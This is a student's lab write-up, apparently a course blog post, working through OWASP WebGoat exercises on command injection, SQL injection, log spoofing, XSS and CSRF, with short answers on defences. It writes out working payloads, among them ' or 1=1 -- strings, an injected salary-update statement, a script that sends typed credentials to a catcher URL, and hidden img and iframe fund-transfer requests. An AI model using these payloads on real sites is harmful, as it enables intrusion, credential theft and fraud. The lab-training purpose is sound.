2018-2019-2 20165337《网络对抗技术》Exp9 Web安全基础

实验目的

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

实验内容

SQL注入攻击

命令注入(Command Injection)
数字型SQL注入(Numeric SQL Injection)
日志欺骗(Log Spoofing)
字符串型注入(String SQL Injection)
LAB: SQL Injection
数据库后门(Database Backdoors)

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击
Stored XSS Attacks
Reflected XSS Attacks 反射型XSS攻击

CSRF攻击

Cross Site Request Forgery(CSRF)
CSRF Prompt By-Pass

课后问题回答

(1)SQL注入攻击原理,如何防御
注入点的不同分类,数字类型的注入,字符串类型的注入(2)提交方式的不同分类,GET注入,POST注入,COOKIE注入,HTTP注入,(3)获取信息的方式不同分类,基于布尔的盲注,基于时间的盲注,基于报错的注入1.定制黑名单:将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。2.限制查询长度:由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。3.限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。4.白名单法:该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如:某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。5.设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。6.限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。

(2)XSS攻击的原理,如何防御
XSS:跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
防御方法也是限制特殊字符、还有对表单内容进行过滤等。

(3)CSRF攻击原理,如何防御
原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
防御:

  • 使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
  • 将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源
  • 定期清理掉没用的缓存

实验过程

WebGoat安装

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

首先要下载一下jar包,在这个地址下载https://github.com/WebGoat/WebGoat/releases/tag/7.0.1
然后在虚拟机中含有这个文件包的目录下面运行java -jar webgoat-container-7.0.1-war-exec.jar
如果可以正常运行就会有如下反应

启动成功
然后在浏览器输入localhost:8080/WebGoat下面有默认密码,登录即可开始试验

SQL注入攻击

(1) 命令注入(Command Injection)
可以让我们在目标主机上执行任何系统命令
首先进入网页点击Injection Flaws- Command Injection
右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

点击view可以看到执行的结果

可以看到监控到某些端口的开放信息
然后没有注入的结果就是这样,返回值是0

(2) 数字型SQL注入(Numeric SQL Injection)
这个可以让我们显示天气状况
点击Injection Flaws-Numeric SQL Injection
右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

在修改完之后点击go然后就可以看到结果了,成功获取天气状况

(3) 日志欺骗(Log Spoofing)
可以让我们使用admin的账户在日志中显示成功登陆
点击Injection Flaws-Log Spoofing
User Name中填入webgoat%0d%0aLogin Succeeded for username: admin利用回车0D%和换行符%0A让其在日志中两行显示
输入密码后点击Login可以看到webgoat在Login Fail那行显示,我们自己添加的语句在下一行显示

然后我们还可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。用户名中输入admin <script>alert(document.cookie)</script>
可以看到弹窗消息

(4) 字符串型注入(String SQL Injection)
目标:可以基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
点击Injection Flaws-String SQL Injection
输入查询的用户名Smith' or 1=1--使用了'提前闭合""插入永真式1=1--注释掉后面的内容,这样就能select表里面的所有数据

(5) LAB: SQL Injection
可以使用SQL注入绕过认证。
在密码框输入' or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。

在密码框右键选择inspect Element审查网页元素对长度进行修改修改成50
重新输入' or 1=1 --登录成功

说明修改一下网页某些元素的长度就可以达到目的了

(6) 数据库后门(Database Backdoors)
输入101,得到该用户的信息

发现语句没有进行认证
可以使用注入攻击
输入注入语句101; update employee set salary=10000

成功创建后门

XSS攻击

(1) Phishing with XSS 跨站脚本钓鱼攻击
点击Cross-Site Scripting (XSS) Phishing with XSS
一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
在页面的搜索框中输入代码,可以出现如下的搜索框

现在我们需要一段脚本:来传递参数
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
合并上面代码
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
并在搜索框中输入即可
输入后输入登录用户名和密码即可显示,WebGoat会将输入的信息捕获并反馈给我们。

(2) Stored XSS Attacks
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
Message中构造语句<script>alert("20165303 attack succeed!");</script>
title随意输入,输入后可以发现刚刚创建的帖子
点击20165337可以看见攻击成功

(3) Reflected XSS Attacks 反射型XSS攻击
XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

Enter your three digit access code:中输入<script>alert("I am 20165337");</script>点击Purchase成功显示警告框,内容为我们script脚本指定的内容。

输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息

CSRF攻击

(1) Cross Site Request Forgery(CSRF)
点击XSS-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters中的srcmenu值,我的分别为314和900
在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

(2) CSRF Prompt By-Pass
点击CSRF Prompt By-Pass
查看页面右下方的Parameters中的src和menu值,我的分别为330和900,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
点击submit,生成以title命名的链接,点击链接攻击成功

实验中遇到的问题

首先就是kali总是无法运行jar包,后来发现是JDK版本太高的问题,解决的办法就是重新装一下JDK或者重新找一个虚拟机,然后就可以使用了,具体原因我想是因为上次实验的额时候整个把kali给更新了一下,导致的后果就是里面的软件都太新了,没办法使用,还有就是做实验的时候里面有一些英文看不懂,这就需要你四级或者六级英语学得非常好了,或者你也可以找一下百度翻译什么的

实验感受与体会

这次实验的给我的感受就是漏洞真的是无处不在,可以从方方面面都可以进行进攻,有的就是简单的注入,有的就是复杂的修改网页什么的,最根本的的原因还是因为代码的问题,送到CPU去执行的时候,机器CPU没有智能识别这段代码到底是不是应该执行,应该执行到哪个位置停下来的问题,所以导致的后果就是人为的干预正常的代码执行从而导致出错,导致严重后果,所以我想的是在今后是不是可以出一下AI智能执行某些代码或者什么的防止这些漏洞产生。

posted @ 2019-05-26 20:30  y963976867  阅读(172)  评论(0编辑  收藏  举报